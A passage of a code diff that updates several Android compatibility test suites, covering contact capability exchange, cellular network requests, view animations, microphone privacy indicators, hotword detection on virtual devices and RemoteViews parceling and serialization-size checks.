+        final int networkRespCode408 = 408;
+        final String networkRespReasonTimeout = "Request Timeout";
+        AtomicInteger subscribeRequestCount = new AtomicInteger(0);
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            subscribeRequestCount.incrementAndGet();
+            cb.onNetworkResponse(networkRespCode408, networkRespReasonTimeout);
+        });
+
+        // Request contact capabilities again with different contact
+        requestCapabilities(uceAdapter, numbers, callback);
+
+        // Verify that the callback "onError" is called with the expected error code.
+        try {
+            assertEquals(RcsUceAdapter.ERROR_REQUEST_TIMEOUT, waitForIntResult(errorQueue));
+            assertEquals(0L, waitForLongResult(errorRetryQueue));
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestContact2Uri, SOURCE_TYPE_NETWORK,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+            assertTrue(subscribeRequestCount.get() > 0);
+        } catch (Exception e) {
+            fail("testRequestResultInconclusive with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            capabilityQueue.clear();
+            completeQueue.clear();
+            numbers.clear();
+            pidfXmlList.clear();
+            subscribeRequestCount.set(0);
+        }
+
+        // Request three contacts at a time in the third round.
+        numbers.add(sTestNumberUri);
+        numbers.add(sTestContact2Uri);
+        numbers.add(sTestContact3Uri);
+
+        // The first two contact capabilities can be retrieved from the cache. However, the third
+        // contact capabilities will be provided by the ImsService
+        pidfXmlList.add(getPidfXmlData(sTestContact3Uri, true, true));
+
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            subscribeRequestCount.incrementAndGet();
+            assertNotNull("The uris of capabilities request cannot be null", uris);
+            List<Uri> uriList = new ArrayList(uris);
+            // Verify that only uri need to be queried from the network
+            assertEquals(1, uriList.size());
+            assertEquals(sTestContact3Uri, uriList.get(0));
+            cb.onNetworkResponse(networkRespCode200, networkRespReasonOK);
+            cb.onNotifyCapabilitiesUpdate(pidfXmlList);
+            cb.onTerminated("", 0L);
+        });
+
+        requestCapabilities(uceAdapter, numbers, callback);
+
+        List<RcsContactUceCapability> resultCapList = new ArrayList<>();
+
+        // Verify that the contact capability is received and the onCompleted is called.
+        try {
+            RcsContactUceCapability capability1 = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability1);
+            resultCapList.add(capability1);
+
+            RcsContactUceCapability capability2 = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability2);
+            resultCapList.add(capability2);
+
+            RcsContactUceCapability capability3 = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability3);
+            resultCapList.add(capability3);
+
+            // Verify contact1's capabilities from the received capabilities list
+            RcsContactUceCapability resultCapability =
+                    getContactCapability(resultCapList, sTestNumberUri);
+            assertNotNull("Cannot find the contact", resultCapability);
+            verifyCapabilityResult(resultCapability, sTestNumberUri, SOURCE_TYPE_CACHED,
+                    REQUEST_RESULT_FOUND, true, true);
+
+            // Verify contact2's capabilities from the received capabilities list
+            resultCapability = getContactCapability(resultCapList, sTestContact2Uri);
+            assertNotNull("Cannot find the contact", resultCapability);
+            verifyCapabilityResult(resultCapability, sTestContact2Uri, SOURCE_TYPE_CACHED,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+
+            // Verify contact3's capabilities from the received capabilities list
+            resultCapability = getContactCapability(resultCapList, sTestContact3Uri);
+            assertNotNull("Cannot find the contact", sTestContact3Uri);
+            verifyCapabilityResult(resultCapability, sTestContact3Uri, SOURCE_TYPE_NETWORK,
+                    REQUEST_RESULT_FOUND, true, true);
+
+            // Verify the onCompleted is called
+            waitForResult(completeQueue);
+
+        } catch (Exception e) {
+            fail("testRequestResultInconclusive with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            capabilityQueue.clear();
+            completeQueue.clear();
+            numbers.clear();
+            pidfXmlList.clear();
+            removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
+        }
+
+        overrideCarrierConfig(null);
+    }
+
     private void setupTestImsService(RcsUceAdapter uceAdapter, boolean presencePublishEnabled,
             boolean presenceCapExchangeEnabled, boolean sipOptionsEnabled) throws Exception {
         // Trigger carrier config changed
@@ -2680,6 +3244,17 @@
         return pidfBuilder.toString();
     }
 
+    private RcsContactUceCapability getContactCapability(
+            List<RcsContactUceCapability> resultCapList, Uri targetUri) {
+        if (resultCapList == null) {
+            return null;
+        }
+        return resultCapList.stream()
+            .filter(capability -> targetUri.equals(capability.getContactUri()))
+            .findFirst()
+            .orElse(null);
+    }
+
     private void verifyCapabilityResult(RcsContactUceCapability resultCapability, Uri expectedUri,
             int expectedSourceType, int expectedResult, boolean expectedAudioSupported,
             boolean expectedVideoSupported) {
diff --git a/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java b/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
index 33df595..9670611 100644
--- a/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
+++ b/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
@@ -442,8 +442,10 @@
 
         // Get current cell Network then wait for it to drop (due to losing NOT_VCN_MANAGED) before
         // waiting for VCN Network.
-        final NetworkRequest cellNetworkReq =
-                new NetworkRequest.Builder().addTransportType(TRANSPORT_CELLULAR).build();
+        final NetworkRequest cellNetworkReq = new NetworkRequest.Builder()
+                .addTransportType(TRANSPORT_CELLULAR)
+                .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+                .build();
         final VcnTestNetworkCallback cellNetworkCb = new VcnTestNetworkCallback();
         mConnectivityManager.requestNetwork(cellNetworkReq, cellNetworkCb);
         final Network cellNetwork = cellNetworkCb.waitForAvailable();
@@ -563,8 +565,10 @@
 
         // Get current cell Network then wait for it to drop (due to losing NOT_VCN_MANAGED) before
         // waiting for VCN Network.
-        final NetworkRequest cellNetworkReq =
-                new NetworkRequest.Builder().addTransportType(TRANSPORT_CELLULAR).build();
+        final NetworkRequest cellNetworkReq = new NetworkRequest.Builder()
+                .addTransportType(TRANSPORT_CELLULAR)
+                .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+                .build();
         final VcnTestNetworkCallback cellNetworkCb = new VcnTestNetworkCallback();
         mConnectivityManager.requestNetwork(cellNetworkReq, cellNetworkCb);
         final Network cellNetwork = cellNetworkCb.waitForAvailable();
@@ -662,8 +666,10 @@
 
         // Get current cell Network then wait for it to drop (due to losing NOT_VCN_MANAGED) before
         // waiting for VCN Network.
-        final NetworkRequest cellNetworkReq =
-                new NetworkRequest.Builder().addTransportType(TRANSPORT_CELLULAR).build();
+        final NetworkRequest cellNetworkReq = new NetworkRequest.Builder()
+                .addTransportType(TRANSPORT_CELLULAR)
+                .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+                .build();
         final VcnTestNetworkCallback cellNetworkCb = new VcnTestNetworkCallback();
         mConnectivityManager.requestNetwork(cellNetworkReq, cellNetworkCb);
         final Network cellNetwork = cellNetworkCb.waitForAvailable();
diff --git a/tests/tests/view/src/android/view/cts/AttachedSurfaceControlSyncTest.java b/tests/tests/view/src/android/view/cts/AttachedSurfaceControlSyncTest.java
index 453b07a..25f72b8 100644
--- a/tests/tests/view/src/android/view/cts/AttachedSurfaceControlSyncTest.java
+++ b/tests/tests/view/src/android/view/cts/AttachedSurfaceControlSyncTest.java
@@ -28,12 +28,12 @@
 import android.graphics.Rect;
 import android.graphics.Region;
 import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.util.IntProperty;
+import android.util.Property;
 import android.view.Gravity;
-import android.view.SurfaceControl;
-import android.view.SurfaceView;
 import android.view.Surface;
+import android.view.SurfaceControl;
 import android.view.View;
-import android.view.ViewGroup;
 import android.view.ViewTreeObserver;
 import android.view.animation.LinearInterpolator;
 import android.view.cts.surfacevalidator.AnimationFactory;
@@ -43,8 +43,6 @@
 import android.view.cts.surfacevalidator.ViewFactory;
 import android.widget.FrameLayout;
 
-import android.util.Log;
-
 import androidx.test.filters.LargeTest;
 import androidx.test.filters.RequiresDevice;
 import androidx.test.rule.ActivityTestRule;
@@ -81,7 +79,7 @@
         return a;
     }
 
-    class GreenSurfaceAnchorView extends View {
+    static class GreenSurfaceAnchorView extends View {
         SurfaceControl mSurfaceControl;
         final Surface mSurface;
         final int[] mLocation = new int[2];
@@ -110,7 +108,6 @@
 
         @Override
         public boolean gatherTransparentRegion(Region region) {
-            boolean opaque = true;
             int w = getWidth();
             int h = getHeight();
             if (w>0 && h>0) {
@@ -155,13 +152,36 @@
         }
     }
 
-    private ViewFactory sGreenSurfaceControlAnchorFactory = context -> {
-        return new GreenSurfaceAnchorView(context);
-    };
+    private static final ViewFactory sGreenSurfaceControlAnchorFactory =
+            GreenSurfaceAnchorView::new;
 
-    private AnimationFactory sTranslateAnimationFactory = view -> {
-        PropertyValuesHolder pvhX = PropertyValuesHolder.ofFloat(View.TRANSLATION_X, 10f, 30f);
-        PropertyValuesHolder pvhY = PropertyValuesHolder.ofFloat(View.TRANSLATION_Y, 10f, 30f);
+    private static final AnimationFactory sTranslateAnimationFactory = view -> {
+        Property<View, Integer> translationX = new IntProperty<View>("translationX") {
+            @Override
+            public void setValue(View object, int value) {
+                object.setTranslationX(value);
+            }
+
+            @Override
+            public Integer get(View object) {
+                return (int) object.getTranslationX();
+            }
+        };
+
+        Property<View, Integer> translationY = new IntProperty<View>("translationY") {
+            @Override
+            public void setValue(View object, int value) {
+                object.setTranslationY(value);
+            }
+
+            @Override
+            public Integer get(View object) {
+                return (int) object.getTranslationY();
+            }
+        };
+
+        PropertyValuesHolder pvhX = PropertyValuesHolder.ofInt(translationX, 10, 30);
+        PropertyValuesHolder pvhY = PropertyValuesHolder.ofInt(translationY, 10, 30);
         return makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view, pvhX, pvhY));
     };
 
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 5520a4d..8f548db 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -520,6 +520,10 @@
     public void testAccessPointerIcon() {
         View view = mActivity.findViewById(R.id.pointer_icon_layout);
         MotionEvent event = MotionEvent.obtain(0, 0, MotionEvent.ACTION_HOVER_MOVE, 0, 0, 0);
+        // Only pointer sources (SOURCE_CLASS_POINTER) will have translation applied, since only
+        // they refer to locations on the screen. We need to set the source to get
+        // "setLocation" to work.
+        event.setSource(InputDevice.SOURCE_MOUSE);
 
         // First view has pointerIcon="help"
         assertEquals(PointerIcon.getSystemIcon(mActivity, PointerIcon.TYPE_HELP),
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
index d936b7c..2fa4399 100644
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
@@ -66,7 +66,8 @@
     private final String PRIVACY_CHIP_ID = "privacy_chip";
     private final String PRIVACY_DIALOG_PACKAGE_NAME = "com.android.systemui";
     private final String PRIVACY_DIALOG_CONTENT_ID = "text";
-    private final String CAR_PRIVACY_DIALOG_CONTENT_ID = "car_ui_list_item_title";
+    private final String CAR_PRIVACY_DIALOG_CONTENT_ID = "mic_privacy_panel";
+    private final String CAR_PRIVACY_DIALOG_APP_LABEL_CONTENT_ID = "qc_title";
     private final String TV_MIC_INDICATOR_WINDOW_TITLE = "MicrophoneCaptureIndicator";
     // The cts app label
     private final String APP_LABEL = "CtsVoiceRecognitionTestCases";
@@ -230,21 +231,25 @@
                 recognitionCallingAppLabels).isNotEmpty();
 
         // get dialog content
-        final String dialogDescription =
-                recognitionCallingAppLabels
-                        .stream()
-                        .map(UiObject2::getText)
-                        .collect(Collectors.joining("\n"));
+        String dialogDescription;
+        if (isCar()) {
+            dialogDescription =
+                    recognitionCallingAppLabels.get(0)
+                            .findObjects(By.res(PRIVACY_DIALOG_PACKAGE_NAME,
+                                    CAR_PRIVACY_DIALOG_APP_LABEL_CONTENT_ID))
+                            .stream()
+                            .map(UiObject2::getText)
+                            .collect(Collectors.joining("\n"));
+        } else {
+            dialogDescription =
+                    recognitionCallingAppLabels
+                            .stream()
+                            .map(UiObject2::getText)
+                            .collect(Collectors.joining("\n"));
+        }
         Log.i(TAG, "Retrieved dialog description " + dialogDescription);
 
-        if (isCar()) {
-            // Make sure Voice recognizer's app label is present in dialog.
-            assertWithMessage(
-                    "Voice recognition service can blame the calling app name " + APP_LABEL
-                            + ", but does not find it.")
-                    .that(dialogDescription)
-                    .contains(APP_LABEL);
-        } else if (trustVoiceService) {
+        if (trustVoiceService) {
             // Check trust recognizer can blame calling apmic permission
             assertWithMessage(
                     "Trusted voice recognition service can blame the calling app name " + APP_LABEL
diff --git a/tests/tests/voiceinteraction/common/Android.bp b/tests/tests/voiceinteraction/common/Android.bp
index e9052de..d667329 100644
--- a/tests/tests/voiceinteraction/common/Android.bp
+++ b/tests/tests/voiceinteraction/common/Android.bp
@@ -19,5 +19,6 @@
 java_library {
     name: "CtsVoiceInteractionCommon",
     srcs: ["src/**/*.java"],
-    sdk_version: "current",
+    static_libs: ["compatibility-device-util-axt"],
+    sdk_version: "test_current",
 }
diff --git a/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java b/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
index 4a34e2a..29a8bb5 100644
--- a/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
+++ b/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
@@ -22,7 +22,10 @@
 import android.os.Parcelable;
 import android.util.Log;
 
+import com.android.compatibility.common.util.PropertyUtil;
+
 import java.util.ArrayList;
+import java.util.Objects;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.locks.Condition;
@@ -267,4 +270,10 @@
         }
         return bits;
     }
+
+    public static boolean isVirtualDevice() {
+        final String property = PropertyUtil.getProperty("ro.hardware.virtual_device");
+        Log.v(TAG, "virtual device property=" + property);
+        return Objects.equals(property, "1");
+    }
 }
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
index 759876c..4fb3f8e 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
@@ -324,6 +324,11 @@
                 }
                 numBytes += bytesRead;
             }
+            // The audio data will be zero on virtual device, so it would be better to skip to
+            // check the audio data.
+            if (Utils.isVirtualDevice()) {
+                return true;
+            }
             for (byte b : buffer) {
                 // TODO: Maybe check that some portion of the bytes are non-zero.
                 if (b != 0) {
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index 47153af..0161540 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -38,8 +38,6 @@
 import android.webkit.cts.WebViewSyncLoader.WaitForLoadedClient;
 import android.util.Pair;
 
-import androidx.test.filters.FlakyTest;
-
 import com.android.compatibility.common.util.NullWebViewUtils;
 import com.android.compatibility.common.util.PollingCheck;
 import com.google.common.util.concurrent.SettableFuture;
@@ -144,7 +142,6 @@
 
     // Verify shouldoverrideurlloading called on webview called via onCreateWindow
     // TODO(sgurun) upstream this test to Aw.
-    @FlakyTest(bugId = 172331117)
     public void testShouldOverrideUrlLoadingOnCreateWindow() throws Exception {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
index ad351a7..ec76300 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
@@ -21,6 +21,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNotSame;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertThrows;
@@ -36,6 +37,8 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.Parcel;
+import android.os.Parcelable;
+import android.util.SizeF;
 import android.util.TypedValue;
 import android.view.View;
 import android.view.ViewGroup;
@@ -58,13 +61,20 @@
 
 import com.android.compatibility.common.util.WidgetTestUtils;
 
+import com.google.common.collect.Lists;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
+import java.util.stream.Collectors;
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
@@ -116,11 +126,7 @@
                 .addItem(5 /* id */, new RemoteViews(PACKAGE_NAME, R.layout.textview_gravity))
                 .build();
 
-        Parcel parcel = Parcel.obtain();
-        items.writeToParcel(parcel, 0 /* flags */);
-        parcel.setDataPosition(0);
-
-        RemoteCollectionItems unparceled = RemoteCollectionItems.CREATOR.createFromParcel(parcel);
+        RemoteCollectionItems unparceled = parcelAndUnparcel(items);
         assertEquals(2, unparceled.getItemCount());
         assertEquals(3, unparceled.getItemId(0));
         assertEquals(5, unparceled.getItemId(1));
@@ -128,8 +134,78 @@
         assertEquals(R.layout.textview_gravity, unparceled.getItemView(1).getLayoutId());
         assertTrue(unparceled.hasStableIds());
         assertEquals(10, unparceled.getViewTypeCount());
+        assertNotNull(unparceled.getItemView(0).mApplication);
+        assertSame(
+                unparceled.getItemView(0).mApplication, unparceled.getItemView(1).mApplication);
 
-        parcel.recycle();
+        // Parcel and unparcel the RemoteViews and test again to ensure that the parent child
+        // relationship is correctly established from the Parcel constructor.
+        unparceled = parcelAndUnparcel(unparceled);
+        assertEquals(2, unparceled.getItemCount());
+        assertEquals(3, unparceled.getItemId(0));
+        assertEquals(5, unparceled.getItemId(1));
+        assertEquals(R.layout.textview_singleline, unparceled.getItemView(0).getLayoutId());
+        assertEquals(R.layout.textview_gravity, unparceled.getItemView(1).getLayoutId());
+        assertTrue(unparceled.hasStableIds());
+        assertEquals(10, unparceled.getViewTypeCount());
+        assertNotNull(unparceled.getItemView(0).mApplication);
+        assertSame(
+                unparceled.getItemView(0).mApplication, unparceled.getItemView(1).mApplication);
+    }
+
+    @Test
+    public void testParcelingAndUnparceling_afterAttaching() {
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .setHasStableIds(true)
+                .setViewTypeCount(10)
+                .addItem(3 /* id */, new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline))
+                .addItem(5 /* id */, new RemoteViews(PACKAGE_NAME, R.layout.textview_gravity))
+                .build();
+
+        RemoteViews parent = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+        parent.setRemoteAdapter(R.id.listview_default, items);
+
+        RemoteCollectionItems unparceled = parcelAndUnparcel(items);
+        assertEquals(2, unparceled.getItemCount());
+        assertEquals(3, unparceled.getItemId(0));
+        assertEquals(5, unparceled.getItemId(1));
+        assertEquals(R.layout.textview_singleline, unparceled.getItemView(0).getLayoutId());
+        assertEquals(R.layout.textview_gravity, unparceled.getItemView(1).getLayoutId());
+        assertTrue(unparceled.hasStableIds());
+        assertEquals(10, unparceled.getViewTypeCount());
+        assertNotNull(unparceled.getItemView(0).mApplication);
+        assertSame(
+                unparceled.getItemView(0).mApplication, unparceled.getItemView(1).mApplication);
+    }
+
+    @Test
+    public void testParcelingAndUnparceling_multiplePackages() {
+        Optional<String> otherPackageName = getAnotherPackageName();
+        if (!otherPackageName.isPresent()) return;
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .setHasStableIds(true)
+                .setViewTypeCount(10)
+                .addItem(3 /* id */, new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline))
+                .addItem(
+                    5 /* id */,
+                    new RemoteViews(otherPackageName.get(), R.layout.textview_gravity))
+                .build();
+
+        RemoteViews parent = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+        parent.setRemoteAdapter(R.id.listview_default, items);
+
+        RemoteCollectionItems unparceled = parcelAndUnparcel(items);
+        assertEquals(2, unparceled.getItemCount());
+        assertEquals(3, unparceled.getItemId(0));
+        assertEquals(5, unparceled.getItemId(1));
+        assertEquals(R.layout.textview_singleline, unparceled.getItemView(0).getLayoutId());
+        assertEquals(R.layout.textview_gravity, unparceled.getItemView(1).getLayoutId());
+        assertTrue(unparceled.hasStableIds());
+        assertEquals(10, unparceled.getViewTypeCount());
+        assertNotNull(unparceled.getItemView(0).mApplication);
+        assertNotNull(unparceled.getItemView(1).mApplication);
+        assertEquals(PACKAGE_NAME, unparceled.getItemView(0).mApplication.packageName);
+        assertEquals(otherPackageName.get(), unparceled.getItemView(1).mApplication.packageName);
     }
 
     @Test
@@ -234,6 +310,129 @@
     }
 
     @Test
+    public void testSerializationSize_largeCollection() {
+        RemoteCollectionItems items = createSampleCollectionItems(/* size= */ 100);
+
+        int dataSize = parcelAndRun(items, Parcel::dataSize);
+
+        // 7,408 when test was written.
+        assertLessThan(10_000, dataSize);
+    }
+
+    @Test
+    public void testSerializationSize_largeCollection_multiPackage() {
+        Optional<String> otherPackageName = getAnotherPackageName();
+        if (!otherPackageName.isPresent()) return;
+        RemoteCollectionItems items =
+                createSampleMultiPackageCollectionItems(/* size= */ 100, otherPackageName.get());
+
+        int dataSize = parcelAndRun(items, Parcel::dataSize);
+
+        // 9,140 when test was written.
+        assertLessThan(12_000, dataSize);
+    }
+
+    @Test
+    public void testSerializationSize_extraLargeCollection() {
+        RemoteCollectionItems items = createSampleCollectionItems(/* size= */ 1000);
+
+        int dataSize = parcelAndRun(items, Parcel::dataSize);
+
+        // 50,608 when test was written.
+        assertLessThan(70_000, dataSize);
+    }
+
+    @Test
+    public void testSerializationSize_largeCollectionInLandPortRemoteViews() {
+        RemoteViews landscape = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+        landscape.setRemoteAdapter(
+                R.id.listview_default,
+                createSampleCollectionItems(/* size= */ 100));
+        RemoteViews portrait = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+        landscape.setRemoteAdapter(
+                R.id.listview_default,
+                createSampleCollectionItems(/* size= */ 100));
+
+        RemoteViews joinedRemoteViews = new RemoteViews(landscape, portrait);
+
+        int dataSize = parcelAndRun(joinedRemoteViews, Parcel::dataSize);
+
+        // 12,336 when test was written.
+        assertLessThan(15_000, dataSize);
+    }
+
+    @Test
+    public void testSerializationSize_largeCollectionInLandPortRemoteViews_multiPackage() {
+        Optional<String> otherPackage = getAnotherPackageName();
+        if (!otherPackage.isPresent()) return;
+        RemoteViews landscape = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+        landscape.setRemoteAdapter(
+                R.id.listview_default,
+                createSampleMultiPackageCollectionItems(/* size= */ 100, otherPackage.get()));
+        RemoteViews portrait = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+        landscape.setRemoteAdapter(
+                R.id.listview_default,
+                createSampleMultiPackageCollectionItems(/* size= */ 100, otherPackage.get()));
+
+        RemoteViews joinedRemoteViews = new RemoteViews(landscape, portrait);
+
+        int dataSize = parcelAndRun(joinedRemoteViews, Parcel::dataSize);
+
+        // 14,068 when test was written.
+        assertLessThan(20_000, dataSize);
+    }
+
+    @Test
+    public void testSerializationSize_largeCollectionInSizedRemoteViews() {
+        List<SizeF> sizes =
+                Lists.newArrayList(
+                        new SizeF(50, 50),
+                        new SizeF(50, 100),
+                        new SizeF(100, 100),
+                        new SizeF(200, 100));
+        Map<SizeF, RemoteViews> sizeToRemoteViews =
+                sizes.stream().collect(Collectors.toMap(Function.identity(), ignored -> {
+                    RemoteCollectionItems items = createSampleCollectionItems(/* size= */ 100);
+                    RemoteViews views = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+                    views.setRemoteAdapter(R.id.listview_default, items);
+                    return views;
+                }));
+        RemoteViews joinedRemoteViews = new RemoteViews(sizeToRemoteViews);
+
+        int dataSize = parcelAndRun(joinedRemoteViews, Parcel::dataSize);
+
+        // 22,100 when test was written.
+        assertLessThan(30_000, dataSize);
+    }
+
+    @Test
+    public void testSerializationSize_largeCollectionInSizedRemoteViews_multiPackage() {
+        Optional<String> otherPackage = getAnotherPackageName();
+        if (!otherPackage.isPresent()) return;
+        List<SizeF> sizes =
+                Lists.newArrayList(
+                        new SizeF(50, 50),
+                        new SizeF(50, 100),
+                        new SizeF(100, 100),
+                        new SizeF(200, 100));
+        Map<SizeF, RemoteViews> sizeToRemoteViews =
+                sizes.stream().collect(Collectors.toMap(Function.identity(), ignored -> {
+                    RemoteCollectionItems items =
+                            createSampleMultiPackageCollectionItems(
+                                    /* size= */ 100, otherPackage.get());
+                    RemoteViews views = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+                    views.setRemoteAdapter(R.id.listview_default, items);
+                    return views;
+                }));
+        RemoteViews joinedRemoteViews = new RemoteViews(sizeToRemoteViews);
+
+        int dataSize = parcelAndRun(joinedRemoteViews, Parcel::dataSize);
+
+        // 23,832 when test was written.
+        assertLessThan(30_000, dataSize);
+    }
+
+    @Test
     public void testSetRemoteAdapter_emptyCollection() {
         RemoteCollectionItems items = new RemoteCollectionItems.Builder().build();
         mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
@@ -316,7 +515,7 @@
                 .addItem(12 /* id= */, item2)
                 .build();
 
-        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, parcelAndUnparcel(items));
         WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule,
                 () -> mRemoteViews.reapply(mActivity, mView), true);
 
@@ -458,7 +657,7 @@
                 .setViewTypeCount(2)
                 .build();
 
-        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, parcelAndUnparcel(items));
         runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
 
         Adapter initialAdapter = listView.getAdapter();
@@ -469,7 +668,7 @@
                 .addItem(10 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout))
                 .setViewTypeCount(2)
                 .build();
-        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, parcelAndUnparcel(items));
         runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
 
         // The adapter should have been kept, and the second item should have maintained its view
@@ -489,7 +688,7 @@
                 .addItem(10 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout))
                 .build();
 
-        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, parcelAndUnparcel(items));
         runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
 
         Adapter initialAdapter = listView.getAdapter();
@@ -540,7 +739,7 @@
                 mGridView, () -> {
                     mListView.setVisibility(View.GONE);
                     mGridView.setVisibility(View.VISIBLE);
-                    mRemoteViews.setRemoteAdapter(R.id.remoteView_grid, items);
+                    mRemoteViews.setRemoteAdapter(R.id.remoteView_grid, parcelAndUnparcel(items));
                     mRemoteViews.reapply(mActivity, mView);
                 });
 
@@ -624,6 +823,27 @@
         assertEquals(11, adapter.getItemId(1));
     }
 
+    private static RemoteCollectionItems parcelAndUnparcel(RemoteCollectionItems items) {
+        return parcelAndRun(items, RemoteCollectionItems.CREATOR::createFromParcel);
+    }
+
+    private static <T> T parcelAndRun(Parcelable parcelable, Function<Parcel, T> function) {
+        Parcel parcel = Parcel.obtain();
+        parcelable.writeToParcel(parcel, /* flags= */ 0);
+        parcel.setDataPosition(0);
+        try {
+            return function.apply(parcel);
+        } finally {
+            parcel.recycle();
+        }
+    }
+
+    private static void assertLessThan(int expected, int actual) {
+        if (actual >= expected) {
+            fail("Expected to be less than " + expected + ", but was " + actual);
+        }
+    }
+
     private static final class MockBroadcastReceiver extends BroadcastReceiver {
 
         Intent mIntent;
@@ -666,4 +886,35 @@
         }
     }
 
+    private static RemoteCollectionItems createSampleCollectionItems(int size) {
+        RemoteCollectionItems.Builder builder = new RemoteCollectionItems.Builder();
+        for (int i = 0; i < size; i++) {
+            builder.addItem(i,
+                    new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline));
+        }
+        return builder.build();
+    }
+
+    private static RemoteCollectionItems createSampleMultiPackageCollectionItems(
+            int size, String otherPackage) {
+        RemoteCollectionItems.Builder builder = new RemoteCollectionItems.Builder();
+        for (int i = 0; i < size; i++) {
+            String packageName = i % 2 == 0 ? PACKAGE_NAME : otherPackage;
+            builder.addItem(i, new RemoteViews(packageName, R.layout.textview_singleline));
+        }
+        return builder.build();
+    }
+
+    /**
+     * Returns a different package on the device that can be used for testing multi-package
+     * collections.
+     */
+    private Optional<String> getAnotherPackageName() {
+        return mActivity.getPackageManager()
